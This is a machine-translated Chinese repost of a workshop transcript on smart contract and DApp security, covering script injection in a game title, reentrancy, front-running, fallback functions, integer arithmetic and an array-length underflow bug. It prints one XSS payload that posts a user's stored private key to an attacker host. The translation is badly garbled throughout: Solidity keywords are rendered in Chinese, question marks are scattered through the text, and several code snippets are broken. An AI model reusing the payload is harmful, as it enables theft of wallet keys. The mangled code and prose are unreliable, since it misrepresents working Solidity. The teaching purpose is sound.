【译】Introduction to Smart Contract and DApp Security
ether這是我?與?Jessica Marshall?,?William Dias?和?C. Brown?在?ETHDenver?帶領的研討會的成績單?。?你可以在他們的?Facebook頁面?上看到它的視頻?。
看看那些驚人的工程師!智能合約和dapp編程是一種新的范例,它要求我們作為開發者的行為與以前不同。?在這個新的范例中,舊版的快速移動和破壞事物的facebook格言不起作用。?由于這類開發所固有的風險,我們都需要學習采用緩慢且有條不紊的方法來構建我們的應用程序,在設計和編碼時謹慎和考慮。?我們也不能讓自己承受嚴格的最后期限的壓力。?有點諷刺的是,我正在黑客馬拉松演講!
如果構建大多數傳統Web應用程序與分診所類似,則區塊鏈更像是一個急診室。?有些問題很小,但是一旦你超過某個特定點(如果有的話),并且必須考慮到每個可能的負面結果,它們中的大多數都很難解決。?如果沒有,你可能會面臨可怕的后果。?在進入具體的課程之前,我想重申一下這項技術的某些方面,這迫使我們如此小心。
所有代碼都是公開的
由于幾個不同的原因,這提出了一個問題。?首先,由于任何人都可以看到你的代碼,很明顯,智能合約中不應該記錄敏感的個人信息。?當然,想要在用戶鏈上運行用戶數據分析是一項崇高的事業,但這對新用戶Johnny來說可能聽起來不太好,因為他的瀏覽器歷史已經暴露給全世界!
呃哦您的智能合約及其關聯的存儲只應存儲合同正常運行所必需的信息。
其次,更重要的是,所有的源代碼都是公開的。?這意味著每個坐在地下室的全明星黑客都有足夠的時間和自由來梳理每條尋找錯誤的線路。?這次沒有隱藏在預編譯的二進制文件之后。
氣體限制
正如我相信你們大多數人都知道的那樣,以太坊區塊鏈計算成本很高,而且也有一定的限制!?如果您的合同中有邏輯可能會導致大量天然氣被消耗,那么這可能會造成問題。?循環是這個的常見原因。
最后,但最重要的是:
不變性
所有的代碼都是按照它的編程方式執行的,并且禁止一個DAO級的硬分叉,在區塊鏈上采取的行動是不可改變的
所以沒有采取后衛。?這是我們如何確保不信任。?我們將信任編入我們的代碼,以便我們可以相信它,而不是彼此。?事實上,我開始相信智能合約更多的是我相信一些人類。?智能合約不會騙你,智能合約不會欺騙你,而智能合約不會在周二凌晨2點發布關于朝鮮的憤怒推文。
首先,我歡迎我們最終的全球區塊鏈霸主。
但在我們到達這一點之前,我們必須成為那棟大樓的人!?我們的智能合約應該是防黑客,防腳本的,甚至是科技不識字的奶奶證明。?如果我們的科技文盲奶奶不小心將她的谷歌搜索痔瘡膏發布到Facebook,這不是一個大問題,我們可以刪除它。?但是,如果她因為寫得不好的智能合同而暴露她的公鑰,那么我們就不能做很多事情。?她的技術嫻熟的侄子約翰尼不能幫助她,因為他太忙了,試圖從區塊鏈中刪除他的瀏覽器歷史!
我們得假設每個人都是一個技術文盲老奶奶,并盡可能地做到徹底確保功能被正確調用,并且操作無誤地執行,因為你永遠不知道,有些人在你的多信用卡錢包圖書館里搞亂了數百萬美元在以太可能只是意外地把所有權和自殺整個事情。
我將通過一些你應該準備好的漏洞的例子,并且我們會做一些練習讓每個人都參與其中。
讓我們準備好診斷一些應用程序和智能合約漏洞。
應用示例和建議
威廉迪亞斯
我們的第一個病人的時間。?這一個被命名為“應用程序安全性”。讓我們從一些背景開始。
這是一個分散的游戲平臺:
- 這是一個基于瀏覽器的應用程序
- 游戲開發者可以公開發布他們的游戲(在ethereum網絡上運行的dapps)
- 玩家可以注冊dapp并從各種游戲中選擇玩游戲(并最終在虛擬商品中使用ETH)。
- 注冊時創建新錢包(在這種情況下不需要噴霧/元素掩碼)。
- 錢包密鑰存儲在播放器的瀏覽器中用于驗證/小額支付目的。
正如你所看到的,這似乎是開發者通過一個平臺發布和連接玩家的好地方。
不幸的是,當一款游戲HODL QUEST發布時,立即下載的用戶開始從他們的錢包中失去ether。
ether去了哪里??我們來看看該平臺的一些方面。
- 這個問題是由幾個小時前發布的一款新游戲引起的(HODL QUEST)
- 第一次開放游戲后,錢包資金已經過去了幾秒鐘
- 在游戲注冊過程中,開發者在平臺內輸入名稱,智能合約地址和dapp URL
- 該平臺將游戲iframe嵌入到dapp中,同時在頁面頂部顯示游戲名稱。
你可以開始看到這里將要發生的事情......經過進一步檢查,我們發現HODL QUEST的游戲開發者在注冊期間在游戲標題中注入了內聯腳本。?所以仔細觀察游戲的html代碼,我們發現了這樣的事情:
<h1> HODL <script> $ .post('https://haxxx.lol/',localStore.getItem('privateKey')); </ script> QUEST </ h1>玩家的瀏覽器最終評估插入在游戲標題中的JavaScript片段并將玩家的私鑰發送給攻擊者遠程服務器。
這只是我們構建分散式應用程序時可能出現的眾多問題之一。?這是您在構建這些項目時要記住的事項清單。
- 保護錢包和私鑰:如果用戶的錢包被盜用,這是游戲結束。?處理這些敏感信息時需要特別注意。
- 保護用戶信息:用戶不希望他們的個人數據暴露于世界。?確保用戶數據保持私密。
- 明智地評估需要存儲在區塊鏈或服務器中的內容。?只包含您的智能合約在合同本身內發揮作用所必需的數據。
- 使用HTTPS:這是標準做法,應該很明顯
- .gitignore敏感文件:另一種防止意外泄露漏洞的方法
- 不要在您的代碼中插入訪問/ API密鑰。
- 在dapp中執行關鍵/風險任務時請求2FA:在區塊鏈上執行的操作是不可變的,因此具有額外的安全層非常重要。
您的應用程序的安全性與您的智能合同的安全性一樣重要,應始終放在心上。
智能合同競賽條件
由?杰西卡馬歇爾
什么是種族條件??競態條件是指電子產品,軟件或其他系統的行為,輸出取決于其他不可控制事件的順序或時間。?當事件沒有按照程序員的意圖發生時,它就成了一個錯誤。?這是以太坊智能合約中許多漏洞的根源。
競爭條件的一個愚蠢的例子在以太坊智能合約中出現了幾種不同的競爭條件。?在這篇文章中,我們將重點討論兩種常見的情況。?重入和交易訂單前臺運行。
重入
如果計算機程序在其執行過程中可以被中斷,并且在之前的調用完成執行之前再次被安全地再次調用(“重新進入”),則該程序稱為可重入?。?當對其他合約進行外部呼叫時,這可以在智能合約中顯示,因為它們可能在原始呼叫結束之前回撥到原始功能。?你問這怎么可能?
輸入后備功能,這是當以太網發送到您的合同而未提供要調用的函數名稱時調用的功能。
在這個例子中,當撤銷函數使用address.call.value()方法發送ether時,它會觸發BankRobber的回退函數,然后可以再次調用撤消方法。?正如你所看到的,這將導致銀行合同一遍又一遍地發送以太網,可能會讓銀行的所有以太網消失!
我們如何防止這一點??有幾種不同的方式。?第一個依賴于我們對發送,轉移和呼叫之間差異的理解。
很多選項從上圖可以看出,發送以太網有很多不同的方式,但大多數情況下,您需要使用address.transfer。?這是因為轉讓只能轉發2300天然氣,如果交易耗盡了所有天然氣,則轉回。?這樣,如果惡意合同試圖重新簽訂合同,天然氣將被用完,整個交易將被還原。
在某些情況下,使用發送或呼叫是有意義的,但在使用這些發送或呼叫時需要格外小心,因為只有在您感到非常自在的情況下,您才能確定您正在發送的合約正在做什么。?99%的時間,轉移是正確的路徑。
防止重新進入的另一種方法是在進行外部調用之前更新狀態,并在合同中執行檢查以確保狀態代表將要執行的事務。
交易排序前臺運行
競賽狀況惡化的另一種情況是跑步。?這是因為區塊鏈的公共性質。?如果您在智能合約中執行拍賣或類似機制,可能會操縱出價,因為出價在執行前存在于未經確認的交易池中。?在這段時間內,其他惡意行為者可以監控該池并發送破壞已發送出價的交易。?此外,礦工可以重新排序交易,以優先處理惡意交易。
有幾種不同的方法來防止這樣的操作。?一個是批量拍賣,另一個是投標和透露計劃?,其中投標人發送他們的出價哈希,直到他們被確認之后才被發現。
讓我們試著挽救另一位患者。
這是一個合同,可以讓人們可以將ether送到合同上成為新的國王。?當一個新人成為國王時,這個老國王就會得到合同的ether。?你能找到這個漏洞嗎?
重入不是問題,但是在這個漏洞中有更多的“關注世界”。?在這個例子中,一個合約成為國王,然后在他們的后備功能,他們可以恢復。?這導致每一個試圖讓一個新所有者失敗的未來交易都會導致合同關閉。?這是來自Ethernaut的一個很好的例子,它有探索智能合約安全的練習。?你可以在這里看到更詳細的漏洞描述。
這些示例顯示,在進行外部呼叫時,您絕不應該認為您所調用的合同是可信的。?始終注意防止攻擊者可能嘗試的所有可能的負面結果。
需要注意的其他智能合同最佳實踐
回退函數
回退函數非常有用,因為它們包含將以太網發送到合同時調用的代碼。?但他們無法處理所有事情。
首先,后備功能只有在通過傳輸功能觸發時才能使用2,300個氣體,因此邏輯必須非常簡單,以避免出現氣體不足錯誤。
//時間倒退函數的例子 //你不希望ether被送到合同 函數()應付{ 還原() }有一個趕上!?當以太網強制發送到合同時,后備功能不會觸發。
合約ForceSend(){ 函數ForceSend(){ //發送ETH給受害者而不觸發后備功能 函數destroy(){ 自毀(受害者); } }selfdestruct功能將合約的ether發送給受害者地址。?此發送不會觸發合同中的后備功能。?接受免費的ether是很好的,但正因為如此,你需要避免直接檢查合同的平衡,并期望它是一個特定的價值,因為它可能實際上比你想象的要大!
整數算術
與大多數現代體系結構不同,E??VM不處理浮點數或算術運算。?所有數字存儲和算術都是用整數處理的。?這是什么意思??這意味著您的合同中沒有任何可以存儲任何小數的任何內容,或者執行通常會返回小數的操作,例如查找百分比等。?讓我們看一個例子。
想象一下,您正在創建一個令牌銷售智能合約,根據銷售中已經過了多少時間為買家提供獎金購買。?它可能看起來像這樣。
///從合約代碼中摘錄 函數calculatePrice()返回(uint256){ uint percentTimePassed =(now - startTime)/(endTime - startTime); uint price =(1-percentTimePassed)* basePrice + basePrice; 退貨價格; }正如你所看到的,用傳統的語言來說,這沒問題。?經過的時間百分比將計算為0到1之間的小數,然后應用于價格。
不幸的是,這不適用于整數算術。?如果某項操作不正確,則可能會出現一些不正確的百分比會導致嚴重問題的情況。
在Solidity中,你將不得不這樣做:
///從合約代碼中摘錄 函數calculatePrice()返回(uint256){ uint percentTimePassed = 100 *(now - startTime)/(endTime - startTime); uint price =((1-percentTimePassed)* basePrice)/ 100 + basePrice; 退貨價格; }這樣,百分比計算為0到100之間的整數,應用于基準價格,然后除以100以將“小數位”固定到正確的點。?這是計算百分比的粗略方法,因為它犧牲了一些精度,但是基于EVM的運行方式是必要的。?通過乘以100的更大倍數,您可以獲得更好的精確度,但這是一個決定,取決于合同的上下文。
整數溢出/下溢
根據維基百科?,當算術運算試圖創建一個超出可用給定位數表示的范圍的數值時,會發生整數溢出?- 要么大于最大值,要么低于最小可表示值。?大多數語言都有解決此問題的方法,但是Solidity無法自行處理溢出檢查。?這在過去的幾個智能合約區塊鏈中引發了問題,但有一些簡單的方法可以解決問題。?以下是使用Solidity添加的示例:
函數add(uint a,uint b){ res = a + b if(res-b == a)&&(res> b || res == b){ //操作很安全 } else { //溢出 } }這通過確保結果不包圍變量所具有的最大值來檢查加法操作的溢出。?減法,乘法和除法需要進行類似的檢查。
幸運的是,有圖書館為你做這個!?您可以查看我們的基礎數學庫,并使用它來處理智能合約中的所有這些情況。
患者#3
你能找到合同中的錯誤嗎?
uint []公共bonusCodes; 函數pushBonusCode(uint代碼)onlyOwner { bonusCodes.push(代碼); } 函數popBonusCode()onlyOwner { require(bonusCodes.length> = 0); bonusCodes.length--; } 函數modifyBonusCode(uint索引,uint更新)onlyOwner { require(index <bonusCodes.length); bonusCodes [index] =更新; }這是道格霍伊特對“虛張聲勢嚴謹”編碼比賽的貢獻!
從詳細說明結果的文章中?,該合同特征為長度字段可以遞減到0以下的存儲陣列。這導致算術下溢,從而有效地禁用了Solidity的數組邊界檢查。?因此,寫入數組的溢出后可用于覆蓋位于數組之后的任何存儲元素 - 包括所有映射!
那么我們錯過了什么?
事情是,我們并不確定。?可能有一些我們沒有考慮到的細小事情,這可能是殺死病人的問題,或者在我們的情況下,會讓我們的用戶花費數百萬美元購買Ether。
我們能做的最好的事情就是在設計我們的應用程序和編寫代碼的整個過程中,遵循所有現有的應用程序和智能合約最佳實踐,廣泛測試并由知道要尋找什么的人審核我們的代碼。
還有其他的東西可以用來改善智能合約的功能和安全性!
圖書館!
更具體地說,?模塊化的以太坊 - 圖書館?。
在你坐下來寫代碼之前,要意識到社區中還有很多其他偉大的開發人員可能已經完成了與你正在嘗試做的事情類似的事情,并且可能已經測試過可以用于你的代碼的安全代碼您自己的項目中的一些常用功能。
使用Solidity Libraries,您可以將庫導入到您的智能合約中,并像使用合同一樣使用功能!?我們在測試網絡和mainnet上部署了超過20個庫,用于各種用途,如基礎數學,數組,鏈表,令牌,甚至是眾包。?這是經過生產測試的代碼,可以輕松集成到您的項目中。
查看我們的存儲庫以獲取有關如何入門的說明!
現在,您有一些工具可以在構建智能合約和分布式應用程序時保持安全。?剩下的就是在沿途安全地建造東西。?不要忘記,這項技術還處于初級階段。?我們每天都在學習有關EVM和Solidity的新知識,所以請始終關注以太坊開發的最佳實踐以及對生態系統的任何更新。?有一些很棒的資源可以用于你的學習體驗。
Consensys的智能合同最佳實踐文檔?:這些都是很好的筆記,可以探索今天討論的漏洞以及許多重要的漏洞。
模塊化的以太坊圖書館存儲庫:在這里您可以找到關于如何將我們的圖書館集成到您的項目中的詳細說明。
所以,我們可能無法挽救小約翰尼一輩子的瀏覽器歷史導致的恥辱,但如果我們按照這篇文章中概述的指導方針,我們可能能夠從類似的命運中拯救數百萬美元。
在Modular,我們正在努力解決生態系統中存在的許多安全和可用性問題。我們正在構建Blossom,這是一種新的桌面錢包,允許用戶避免復雜的密鑰和地址管理,同時仍然完全控制其資金。?這個錢包還將集成KYC以及令牌和眾包啟動功能。?您可以在我們的注冊頁面上注冊新聞簡報,以便在不久的將來獲得關于該版本的更多更新。
查看我們的網站:?https?:?//modular.network/
https://medium.com/modular-network/introduction-to-smart-contract-and-dapp-security-556502629d54
總結
以上是生活随笔為你收集整理的【译】Introduction to Smart Contract and DApp Security的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【译】Blockchain-based
- 下一篇: Android Binder Drive